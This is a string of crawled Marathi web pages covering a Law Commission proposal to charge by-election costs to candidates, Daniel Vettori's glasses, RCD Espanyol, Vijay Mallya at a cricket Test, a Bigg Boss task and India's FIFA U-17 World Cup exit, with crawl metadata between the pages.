जिल्ह्यातील शेतकऱ्यांच्या पीक कर्जवाटप...\nम्हैसाळ योजना सुरू करण्यासाठी हालचाली...सांगली ः जिल्ह्यातील ताकारी आणि टेंभू उपसा सिंचन...\nअकोला, बुलडाण्यात पीक कर्जवाटप ३०...अकोला ः शेतकऱ्यांना खरीप हंगामासाठी पीक...\nगोंदियातील कृषी सेवा केंद्रे लावणार...गोंदिया ः जमिनीची गरज ओळखूनच खताची मात्रा...\nसाताऱ्यात पावसाअभावी पिके करपू लागलीसातारा : जिल्ह्यात सुमारे एक महिन्यापासून...\nनगर जिल्ह्यात पावसाअभावी कांदा लागवड...नगर ः जिल्हाभरात पावसाअभावी कांदालागवड...\nवाशीममध्ये रब्बीत हरभऱ्याचे क्षेत्र...वाशीम ः या हंगामात जिल्ह्यात चांगला पाऊस...\nखरेदी केंद्र सुरू करण्याच्या मागणीसाठी...सातारा : शेतीमाल खरेदी केंद्रे त्वरित सुरू...\nऊसतोड मजूरांच्या मागण्यांबाबत लवादाची...मुंबई : राज्यातील ऊसतोड मजूर व कामगारांच्या...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00262.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.agrowon.com/agriculture-news-marathi-election-expenses-will-be-fined-candidates-pocket-12069?tid=124", "date_download": "2018-09-25T17:50:08Z", "digest": "sha1:FOTGAFZLTOF475PPHFEUAYBWBQ6DKIH3", "length": 17633, "nlines": 152, "source_domain": "www.agrowon.com", "title": "agriculture news in marathi, The by-election expenses will be fined to candidate's pocket | Agrowon", "raw_content": "\nAgrowon च्या बातम्यांसाठी सबस्क्राईब करा\nAgrowon च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\nपोटनिवडणुकीचा खर्च आता उमेदवाराच्या खिशातून\nपोटनिवडणुकीचा खर्च आता उमेदवाराच्या खिशातून\nबुधवार, 12 सप्टेंबर 2018\nमुंबई : लोकसभा आणि विधानसभेला एकापेक्षा अधिक मतदारसंघांतून उभे राहण्याच्या उमेदवाराच्या प्रयत्नांना आता चाप बसणार आहे. दोन्ही मतदारसंघांतून निवडून येणारे आणि नंतर एका मतदारसंघाचा राजीनामा देऊन पोटनिवडणूक लादणाऱ्या उमेदवारांकडून त्या निवडणुकीचा खर्च वसूल केला जाणार आहे. या संदर्भातील महत्त्वाची शिफारस विधी आयोग आणि केंद्रीय निवडणूक आयोगाने केंद्र सरकारला केल्याची माहिती आयोगातील सूत्राने दिली. लोकप्रतिनिधीचे निधन, राजकारणातून निवृत्ती किंवा राज्याच्या मुख्यमंत्रिपदासाठी राजीनामा दिल्यास त्यांना दंडातून सूट देण्याचे शिफारशीत म्हटले आहे.\nमुंबई : लोकसभा आणि विधानसभेला एकापेक्षा अधिक मतदारसंघांतून उभे राहण्याच्या उमेदवाराच्या प्रयत्नांना आता चाप बसणार आहे. दोन्ही मतदारसंघांतून निवडून येणारे आणि नंतर एका मतदारसंघाचा राजीनामा देऊन पोटनिवडणूक लादणाऱ्या उमेदवारांकडून त्या निवडणुकीचा खर्च वसूल केला जाणार आहे. या संदर्भातील महत्त्वाची शिफारस विधी आयोग आणि केंद्रीय निवडणूक आयोगाने केंद्र सरकारला केल्याची माहिती आयोगातील सूत्राने दिली. लोकप्रतिनिधीचे निधन, राजकारणातून निवृत्ती किंवा राज्याच्या मुख्यमंत्रिपदासाठी राजीनामा दिल्यास त्यांना दंडातून सूट देण्याचे शिफारशीत म्हटले आहे.\nघटनेतील तरतुदीनुसार लोकसभा, विधानसभा निवडणुकीत काही उमेदवार एकापेक्षा जास्त मतदारसंघांतून निवडणूक लढवतात. दोन मतदारसंघांतून निवडून आल्यास एका मतदारसंघातील लोकप्रतिनिधित्वाचा राजीनामा विजयी उमेदवार देतो. त्यामुळे तेथे पोटनिवडणूक घ्यावी लागते. या वेळी आयोगाची सर्व यंत्रणा पुन्हा कामाला लागते आणि निवडणुकीसाठी दुसऱ्यांदा खर्च होतो. मतदारांनादेखील पुन्हा मतदान करावे लागते. शिवाय पोटनिवडणूक जाहीर झाल्यावर आचारसंहितेमुळे विकासकामांवर परिणाम होतो. यात सुधारणा करण्याची शिफारस केंद्रीय विधी आयोगाने केली.\nकेंद्रीय विधी आयोगाने आतापर्यंत निवडणूक आयोगाला निवडणूक बदलासंदर्भात तीन अहवाल सादर केले आहेत. यापैकी मार्च २०१५ च्या अहवालात पोटनिवडणुकीचा खर्च वसूल करण्याची शिफारस केली आहे. यासाठी २०१४ सालातील निवडणुकीचा आधार घेण्यात आला. लोकसभा पोटनिवडणुकीत एका मतदारसंघाचा खर्च १० कोटी रुपये आहे. तोच खर्च विधानसभेसाठी ५ कोटी असल्याचे आयोगाचे मत आहे. त्यामुळे केवळ कुठूनही निवडून यायच्या इर्षेतून कुणी पोटनिवडणूक लादत असेल, तर त्याचा खर्च संबंधितांकडून वसूल करण्याची विधी आयोगाची शिफारस आहे. हा खर्च जास्त आहे, मात्र त्यात सुधारणा व्हावी, यासाठी निवडणूक आयोगाने लोकसभा १०, तर विधानसभा पोटनिवडणुकीसाठी ५ लाखांचा खर्च वसूल करण्याची शिफारस केंद्राला केली आहे.\nविधी आयोगाच्या २५५ क्रमांकाच्या अहवालात चॅप्टर १५ मधील पान क्रमांक\nलोकसभेसाठी १०, तर विधानसभा पोटनिवडणुकीसाठी ५ कोटींचा खर्च वसूल करावा\nलोकप्रतिनिधीचे निधन, राजकारणातून संन्यास किंवा मुख्यमंत्रिपदासाठी राजीनामा दिल्यास सूट\nलोकसभा पोटनिवडणूक निवडणूक निवडणूक आयोग राजकारण politics\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...\nपुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या विद्यार्थ्यांच्या विविध मागण्यांसाठी येत्या 27 स\nजिल्हा परिषदेतील कृषी अधिकारी यांना राजपत्रित...\nमुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क, तांत्रिक) हे प\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिर\nजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात स्थिर राहिले.\nकळमणा बाजारात सोयाबीनच्या दरात वाढ\nनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा बाजार समितीत इतर शेतीमालाचे भाव स्थिर हो\nकोल्हापुरात फळांची आवक मंदावली, मागणीतही घट\nकोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या सप्ताहात टोमॅटोच्या आवकेत वाढ कायम होती.\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...पुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या...\nजिल्हा परिषदेतील कृषी अधिकारी यांना...मुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क...\nसांगली जिल्ह्यात सेंद्रिय शेतमालाला हवी...सांगली जिल्ह्यामध्ये सेंद्रिय शेतीमाल विक्री...\nनाशिक जिल्ह्यात सेंद्रिय शेतीची वाटचाल...नाशिक जिल्ह्यात सेंद्रिय शेतीचे तीन वर्षांपूर्वी...\nमुंबईसह शेजारील शहरांत सेंद्रिय...मुंबईसह शेजारील शहरांमध्ये सेंद्रिय उत्पादनांना...\nनाशिक, निफाड कारखाना भाड्याने देण्याचा...नाशिक : कर्जबाजारी व आर्थिक डबघाईमुळे गेल्या काही...\nसातपुड्यातील लघू प्रकल्पांमध्ये अल्प...जळगाव : खानदेशात नंदुरबार, धुळे व जळगाव...\nनाशिकला पहिल्यांदाच मशिनद्वारे...नाशिक : कांद्याची निर्यात करण्यासाठी कांदा...\nतंत्रज्ञान शेतकरी स्नेही व्हायला हवे ः...औरंगाबाद : शेतीतील प्रश्न संपत नाहीत, कालपरत्वे...\nप्रात्यक्षिकांनी सुधारित तंत्रज्ञानाचे...जालना : सुधारित तंत्रज्ञानाचा व नवीन वाणाच्या...\nहिंगोली जिल्ह्यात एक लाख कुटुंबांना...हिंगोली ः केंद्र शासनाची महत्त्वाकांक्षी आयुष्मान...\nपरभणीत पीक कर्जवाटप प्रश्नी शेतकरी...परभणी ः जिल्ह्यातील शेतकऱ्यांच्या पीक कर्जवाटप...\nम्हैसाळ योजना सुरू करण्यासाठी हालचाली...सांगली ः जिल्ह्यातील ताकारी आणि टेंभू उपसा सिंचन...\nअकोला, बुलडाण्यात पीक कर्जवाटप ३०...अकोला ः शेतकऱ्यांना खरीप हंगामासाठी पीक...\nगोंदियातील कृषी सेवा केंद्रे लावणार...गोंदिया ः जमिनीची गरज ओळखूनच खताची मात्रा...\nसाताऱ्यात पावसाअभावी पिके करपू लागलीसातारा : जिल्ह्यात सुमारे एक महिन्यापासून...\nनगर जिल्ह्यात पावसाअभावी कांदा लागवड...नगर ः जिल्हाभरात पावसाअभावी कांदालागवड...\nवाशीममध्ये रब्बीत हरभऱ्याचे क्षेत्र...वाशीम ः या हंगामात जिल्ह्यात चांगला पाऊस...\nखरेदी केंद्र सुरू करण्याच्या मागणीसाठी...सातारा : शेतीमाल खरेदी केंद्रे त्वरित सुरू...\nऊसतोड मजूरांच्या मागण्यांबाबत लवादाची...मुंबई : राज्यातील ऊसतोड मजूर व कामगारांच्या...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00262.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://mahasports.co.in/why-daniel-vettori-wore-glasses-and-not-contact-lenses/", "date_download": "2018-09-25T17:07:16Z", "digest": "sha1:U2362OAVB4CNZR4UNMI4SJKUSMOO4XI7", "length": 7967, "nlines": 60, "source_domain": "mahasports.co.in", "title": "म्हणून डॅनियल व्हिटोरी क्रिकेट खेळतानाही चष्मा वापरायचा ! -", "raw_content": "\nम्हणून डॅनियल व्हिटोरी क्रिकेट खेळतानाही चष्मा वापरायचा \nम्हणून डॅनियल व्हिटोरी क्रिकेट खेळतानाही चष्मा वापरायचा \nडॅनियल व्हिटोरी हा एक दिग्गज फिरकी गोलंदाजांपैकी एक म्हणून कायम ओळखला जात असे. अतिशय सभ्य क्रिकेटपटू असल्याकारणाने त्याचे जगात अनेक चाहते आजही आहेत. आणखी एका खास गोष्टीसाठी हा क्रिकेटपटू ओळखला जायचा ती गोष्ट म्हणजे तो चष्मा घालून क्रिकेट खेळत असे.\nअनेक लोक हे कॉन्टॅक्ट लेन्स वापरतात कारण या लेन्समधून आपण कोणत्याही कोनातून पाहू शकतो. तसेच अगदी साध्या डोळ्यांनी जेवढे आपण पाहू शकतो तेवढे याने कॉन्टॅक्ट लेन्सही पाहू शकतो. तर चष्मा वापरताना काही मर्यादा येतात. खेळाडूला चांगले आणि स्पष्ट दिसणे हे खेळात अतिशय गरजेचे असते. त्याचमुळे व्हिटोरीच्या चाहत्यांना नेहमीच प्रश्न पडत असे की हा लेझर सर्जरी किंवा कॉन्टॅक्ट लेन्सच्या काळातही चष्मा लावून का खेळत असावा.\nतर त्यामागील खास कारण म्हणजे व्हिटोरी वयाच्या तिसऱ्या वर्षांपासून चष्मा वापरत आहे. आणि त्याचा हा चष्मा जेव्हा तो देशांतर्गत क्रिकेट खेळत असे तेव्हाही तसाच कायम राहिला. त्यानंतर पुढे आतंरराष्ट्रीय क्रिकेटमध्येही त्याला हीच सवय कायम राहिली.\nव्हिटोरीला चष्मा घालून खेळताना कोणतीही अडचण येत नाही. काही लोकांनी व्हिटोरीवर आरोप केला होता की त्याला चष्म्याच्या स्पॉन्सरशिपसाठी पैसे मिळतात म्हणून तो जाणूनबुजून खेळताना चष्मा वापरतो. परंतु या खेळाडूचे याचे खंडन करत आपण पैश्यांसाठी चष्मा वापरत नसल्याचे स्पष्ट केले.\nव्हिटोरी ११३ कसोटी, २९५ वनडे आणि ३४ टी२० सामने खेळला आहे. ज्यात त्याने एकूण ६९८९ धावा केल्या आहेत तर गोलंदाजी करताना ७०५ विकेट्स देखील घेतल्या आहेत.\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00262.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://mr.wikipedia.org/wiki/%E0%A4%86%E0%A4%B0.%E0%A4%B8%E0%A5%80.%E0%A4%A1%E0%A5%80._%E0%A4%8F%E0%A4%B8%E0%A5%8D%E0%A4%AA%E0%A4%BE%E0%A4%A8%E0%A5%8D%E0%A4%AF%E0%A5%89%E0%A4%B2", "date_download": "2018-09-25T17:03:05Z", "digest": "sha1:JXSEJ4MQTYXITS4TMCOXTXW7SAIUPDHT", "length": 5519, "nlines": 153, "source_domain": "mr.wikipedia.org", "title": "आर.सी.डी. एस्पान्यॉल - विकिपीडिया", "raw_content": "\nरेयाल क्लब दिपोर्त्यू एस्पान्यॉल दि बार्सेलोना\nऑक्टोबर २८, इ.स. १९००\n(सोसियेदाद एस्पान्यॉला दि फुटबॉल या नावाने)\nएस्तादी ऑलिंपिक लुईस कंपनीझ,\nयू.डी. आल्मेरिया • अ‍ॅथलेटिक बिल्बाओ • अॅटलेटिको माद्रिद • एफ.सी. बार्सेलोना • रेआल बेटीस • सेल्ता दे व्हिगो • एल्के सी.एफ. • आर.सी.डी. एस्पान्यॉल • गेटाफे सी.एफ. • ग्रानादा सी.एफ. • लेव्हांते यू.डी. • मालागा सी.एफ. • सी.ए. ओसासूना • रायो व्हायेकानो • रेआल माद्रिद • रेआल सोसियेदाद • सेव्हिया एफ.सी. • वालेन्सिया सी.एफ. • रेआल बायादोलिद • व्हियारेआल सी.एफ.\nयेथे काय जोडले आहे\nया पानातील शेवटचा बदल ६ मार्च २०१५ रोजी १८:२४ वाजता केला गेला.\nयेथील मजकूर हा क्रियेटीव्ह कॉमन्स अट्रीब्युशन/शेअर-अलाईक लायसन्स या अंतर्गत उपलब्ध आहेत;अतिरिक्त अटी लागू असू शकतात. अधिक माहितीसाठी हे बघा वापरण्याच्या अटी.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00262.warc.wet.gz", "language": "mr", "language_score": 0.85, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%AD%E0%A4%BE%E0%A4%B0%E0%A4%A4-%E0%A4%87%E0%A4%82%E0%A4%97%E0%A5%8D%E0%A4%B2%E0%A4%82%E0%A4%A1-%E0%A4%95%E0%A4%B8%E0%A5%8B%E0%A4%9F%E0%A5%80%E0%A4%B2%E0%A4%BE-%E0%A4%95%E0%A4%B0%E0%A5%8D/", "date_download": "2018-09-25T16:33:25Z", "digest": "sha1:SLGW6GAYJHTFZVUVKJER6BQOIFOILXAJ", "length": 7588, "nlines": 146, "source_domain": "www.dainikprabhat.com", "title": "भारत-इंग्लंड कसोटीला कर्जबुडव्या मल्ल्याची हजेरी | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nभारत-इंग्लंड कसोटीला कर्जबुडव्या मल्ल्याची हजेरी\nलंडन – भारतीय बॅंकांचे कोटयवधी रूपयांचे कर्ज बुडवून फरार झालेला उद्योगपती विजय मल्ल्या लंडनच्या ओव्हल मैदानावर भारत-इंग्लंड कसोटी सामना पाहण्यासाठी आला होता. विजय मल्ल्याचा मैदानावरील हा व्हिडीओ एका वृत्तसंस्थेने शेअर केला आहे. या व्हिडीओत मल्ल्याची मुजोरी दिसून येत आहे.\nएएनआयच्या प्रतिनिधीने मल्ल्याला प्रश्नही विचारला की, भारतात कधी परतणार याचा निर्णय न्यायाधीश घेतील, असे उत्तर मल्ल्याने प्रतिनिधीला दिले. भारताकडून विजय मल्ल्याच्या प्रत्यार्पणासाठी प्रयत्न सुरू आहेत. मात्र तो अद्याप इंग्लंडमध्येच आहे.\nविजय मल्ल्याचे क्रिकेटप्रेम यापूर्वीही अनेकवेळा दिसून आले आहे. याआधी 2016मध्ये मल्ल्या ओव्हलच्या याच मैदानात चॅम्पियन्स ट्रॉफीमधील भारत-दक्षिण आफ्रिकेचा सामना पाहण्यासाठी आला होता. त्यावेळी मैदानात प्रेक्षकांनी मल्ल्याविरोधात “चोर चोर..’ अशी घोषणाबाजी केली होती.\nविजय मल्ल्यावर भारतीय बॅंकाचे 9 हजार कोटी रुपये बुडवल्याचा आणि मनी लॉंन्ड्रीगचा आरोप आहे. भारताकडून मल्ल्याच्या प्रत्यार्पणासाठी इंग्लंडच्या वेस्टमिन्स्टर न्यायालयात सुनावणी सुरू आहे.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleजिल्हा रुग्णालयात लिफ्ट बंदच\nNext articleबळीराजा… तुझा माझ्यावर भरोसा नाय काय\nराफेल व्यवहार : केंद्रीय मंत्री गजेंद्र शेखावत यांचे राहुल गांधी यांच्यावर ‘हे’ आरोप\nनेपाळमध्ये पोर्नोग्राफिक साईटवर बंदी\nअमेरिकेत मधुमेहाचे तीन कोटी रुग्ण; तज्ज्ञांनी व्यक्त केली चिंता\n“एच 4′ व्हिसाबाबत निर्णय तीन महिन्यांत\nइराणमध्ये लष्कराच्या परेडवर हल्ला : 24 जणांचा मृत्यू तर 53 जखमी\nअमेरिकेत शीख अधिकाऱ्यावर वांशिक शेरेबाजी केल्याने पाच पोलीसकर्मी बडतर्फ\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00263.warc.wet.gz", "language": "mr", "language_score": 0.88, "bucket": "all"} {"url": "http://www.dainikprabhat.com/359769-2/", "date_download": "2018-09-25T16:32:20Z", "digest": "sha1:B7SCTDT5VA42TF4ORGPVVRKO2LSVPOQL", "length": 6395, "nlines": 137, "source_domain": "www.dainikprabhat.com", "title": "बिग बॉसचं घर झालं पाळणा घर… | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nबिग बॉसचं घर झालं पाळणा घर…\nबिग बॉसनं घरातील सदस्यांना ‘बाबा गाडी घराबाहेर काढी’ हा नॉमिनेशन टास्क दिला. या टास्कमध्ये घरातील सर्व सदस्यांना बेबीसीटरची भूमिका साकारायची आहे. घरामध्ये आलेले नवे सदस्य त्यागराज, शर्मिष्ठा आणि घराची कॅप्टन मेघा या प्रक्रियेपासून सुरक्षित आहेत.\nबिग बॉसचं घर पाळणा घर झाल्याचं पाहायला मिळालं. या टास्क अंतर्गत घरातील गार्डन एरियाचं पाळणा घरात रुपांतर करण्यात आलं आहे. या टास्कमध्ये घरातील सदस्यांना एक बाबा गाडी देण्यात आली आहे. यामध्ये असलेल्या बाहुली भोवती या आठवड्याची नॉमिनेशन प्रक्रिया रंगणार आहे. या टास्कमधील बेबीसीटर्सना त्यांना दिलेल्या बाहुल्या सांभाळायच्या आहेत. या टास्कमध्ये कोण बाजी मारणार आणि कोण नॉमिनेट होणार कोण सुरक्षित होणार हे पाहणं उत्सुकतेचं ठरणार आहे.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleनिरंतर लैंगिक सुखासाठी कुटुंबनियोजन\nNext articleसाताऱ्यात मोगलाई नाही, खा. उदयनराजेंचा जांभळेंना इशारा\nरँचो वॉल पाडण्याचा निर्णय ; पर्यटकांवरही बंदी\n‘ठग्स ऑफ हिंदोस्तान’ चे नवीन पोस्टर रिलीज\nपंजाबी सिंगर हार्डी संधू पुन्हा होतोय ट्रेंड यावेळी ‘क्या बात है’\nदीपिका-रणवीरने रद्द केले नोव्हेंबरमधील लग्न\n“ठग्ज…’मध्ये आमिर बसला गाढवावर\n“सिंग इज किंग 2’मध्ये अर्जुन कपूर\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00263.warc.wet.gz", "language": "mr", "language_score": 0.88, "bucket": "all"} {"url": "https://mahasports.co.in/5-reasons-why-india-lost-in-fifa-under-17-worldcup-2017/", "date_download": "2018-09-25T17:47:12Z", "digest": "sha1:P6Z5PI5TXXRBPBH356RURZLV7IJBMC37", "length": 15100, "nlines": 72, "source_domain": "mahasports.co.in", "title": "भारतीय संघ फिफा विश्वचषकाबाहेर फेकला जाण्याची ५ कारणे -", "raw_content": "\nभारतीय संघ फिफा विश्वचषकाबाहेर फेकला जाण्याची ५ कारणे\nभारतीय संघ फिफा विश्वचषकाबाहेर फेकला जाण्याची ५ कारणे\nफिफा अंडर १७ विश्वचषक भारतात होणार याची जेव्हा फिफाकडून घोषणा झाली त्यावेळपासून भारतीय क्रीडाप्रेमींमध्ये फिफा विश्वचषकाबद्दल खूप आकर्षण निर्माण झाले. त्यानंतर भारतीय संघाची विश्वचषकासाठी बांधणी सुरु झाली. भारतीय संघ विदेशात जाऊन खेळू लागला. भारतीय संघ विदेशात सामने जिंकत आहे याच्या बातम्या कानावर येऊ लागल्या आणि विश्वचषकात भारतीय संघ कशी कामगिरी करेल यावर सर्वांचे लक्ष केंद्रित झाले.\nफिफा विश्वचषक सुरु झाला. अनेक भारतीय क्रीडाप्रेमींच्या अपेक्षांचे ओझे खांद्यावर घेऊन भारतीय संघ अमेरिका संघाविरुद्ध पहिला सामना खेळण्यासाठी मैदानात आला. पहिला सामना भारतीय संघाने गमावला. त्यानंतर भारतीय संघ दुसरा सामना कोलंबिया विरुद्ध खेळला. हा सामना देखील भारताने गमावला. हा सामना भारतासाठी अनेक बाबींनी महत्वाचा ठरला. या सामन्यात भारताचा फिफा विश्वचषकातील पहिला आणि एकमेव गोल नोंदवला गेला.\nभारताचा तिसरा सामना घाना विरुद्ध झाला आणि त्यात देखील भारताला ४-० असा पराभव झाला. या पराभवामुळे भारतीय संघ स्पर्धेबाहेर फेकला गेला. त्यामुळे स्पर्धेतील भारतीय संघाच्या पराभवाचे करणे शोधली जात आहेत. भारतीय संघाच्या पराभवाची करणे शोधण्याचा आढावा.\n#१ घरच्या मैदानावरील स्वागताने भारावलेले खेळाडू –\nभारताने आपल्या विश्वचषक अभियानाची सुरुवात अमेरिका संघाविरुद्धच्या सामन्याने केली. या सामन्यात भारतीय संघाला खूप समर्थक लागले. हजारोंच्या संख्येने प्रेक्षक भारतीय संघाला पाठिंबा देण्यासाठी मैदानात हजार झाले. परंतु असा मोठ्या प्रमाणात पाठिंबा मिळाल्याने भारतीय खेळाडूंवर दडपण आले. सामन्यात कित्येकदा त्यांची पासिंग बरोबर होत नव्हती. बॉलवर ताबा ठेवण्यात भारतीय संघ कमी पडत होता.\nफिफासारख्या मोठ्या स्पर्धेत पहिल्यांदाच खेळणे आणि तेही घरच्या मैदानावर त्यामुळे भारतीय संघ थोडा भावनिक झाला आणि सामन्यात खेळताना त्यांना याचे दडपण आले. पहिला सामना भारतीय संघाने गमावला. उर्वरित दोन सामन्यात या गोष्टीचे दडपण भारतीय संघावर आले नाही तरीदेखील पहिल्या सामन्यातील मोठ्या पराभवामुळे भारतीय संघ स्पर्धेबाहेर फेकला जाणार हे निश्चित झाले होते.\n#२ सर्वात कठीण गटात भारताचा समावेश –\nभारताच्या स्पर्धेतील आव्हान लवकर संपुष्टात येण्याचे हे खूप मोठे कारण आहे. भारतासोबत गटामध्ये दोन वेळेचे विजेते घाना, अमेरिका आणि कोलंबिया हे होते. घाना दोन वेळचे विजेते, अमेरिका संघ सध्या सर्वोत्तम युवा संघापैकी एक तर कोलंबिया सर्वोत्तम कौशल्यपूर्ण खेळाडूंचा संघ आहे. त्यामुळे या तगड्या आणि अनुभवी गटात भारताचे असणे हे देखील स्पर्धेत लवकर गाशा गुंडाळावा लागण्याचे कारण आहे.\n#३ शाररिक क्षमता –\nभारतीय खेळाडूंची शाररिक क्षमता ही विदेशी खेळाडूंच्या तुलनेत कमी पडते आहे. याचे उत्तम उदाहरण हे घाना विरुद्धचा सामना आहे. घानाच्या तगड्या डिफेंडर्स आणि मिडफिल्डर्सनी भारतीय संघाला वरचढ होऊ दिले नाही. त्यांनी त्यांच्या शाररीक क्षमतांचा उत्तम उपयोग करत भारताचा करा किंवा मारा सामन्यात ४-० असा परभव केला.\nभारतीय संघाचे प्रशिक्षक लुईस मॅटोस यांना देखील भारतीक संघाची शारीरिक क्षमता हीच एकमेव कमजोरी वाटत आहे. मॅटोस म्हणाले होते,”तुम्हाला जर उत्तम जिम्नॅस्ट बनायचे असेल तर तुम्ही खूप उंच असून चालत नाही आणि जर तुम्हाला उत्तम बास्केटबॉलपटू बनायचे असेल तर १६० सेंटिमीटर असून चालत नाही. त्यामुळे काही वेळी उंची आणि अकरा खूप महत्वाचा असतो.”\n#४ गोल करण्यात आलेले अपयश –\nभारतीय संघाने तीन सामन्यात फक्त एक गोल केला आहे. असे नाही की भारताला गोल करण्याच्या संधी मिळाल्या नाहीत . भारतीय संघाला गोल करण्याच्या अनेक संधी मिळाल्या परंतु त्यांचा लाभ घेण्यात भारतीय संघ अपयशी ठरला.\nभारतीय संघाची डिफेन्सिव्ह खेळ करण्याची रणनीती असली तरी भारतीय संघाला अमेरिका आणि कोलंबिया विरुद्धच्या सामन्यात गोल करण्याच्या अनेक संधी दडवल्या. कोमल थाटल याला पहिल्या सामन्यानंतर संघात न निवडणे, त्याच बरोबर अभिजित सरकार आणि अनिकेत जाधव यांना गोल करण्यात आलेले अपयश हे देखील भारतीय संघाच्या पराभवाची करणे आहेत.\nभारतीय संघ फिफासारख्या मोठ्या स्पर्धेत पहिल्यांदा खेळत होता. भारतीय संघात खूप प्रतिभावान खेळाडू आहेत परंतु त्यांना स्पर्धात्मक फुटबॉल खेळण्याचा अनुभव नाही. या अनुभवाच्या कमतरता पहिल्या सामन्यात दिसली. अमेरिकेला पेनल्टी मिळाली आणि त्यांनी गोलचे खाते उघडले. कोलंबिया विरुद्ध सामन्यात देखील अनुभवाची कमतरता दिसली.\nयुवा खेळाडूंना या स्पर्धेतील सामन्यांमधून खूप मोठा अनुभव मिळाला असला तरी भारतीय संघ स्पर्धेबाहेर पडला आहे. जास्तीत जास्त स्पर्धात्मक फुटबॉल खेळून या क्षेत्रात भारतीय संघ प्रगती करू शकतो आणि भविष्यात उत्तम कामगिरी करेल अशी अपेक्षा करू.\nअखेर रविंद्र जडेजाने तो सचिन तेंडुलकरचा विक्रम मोडलाच\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला 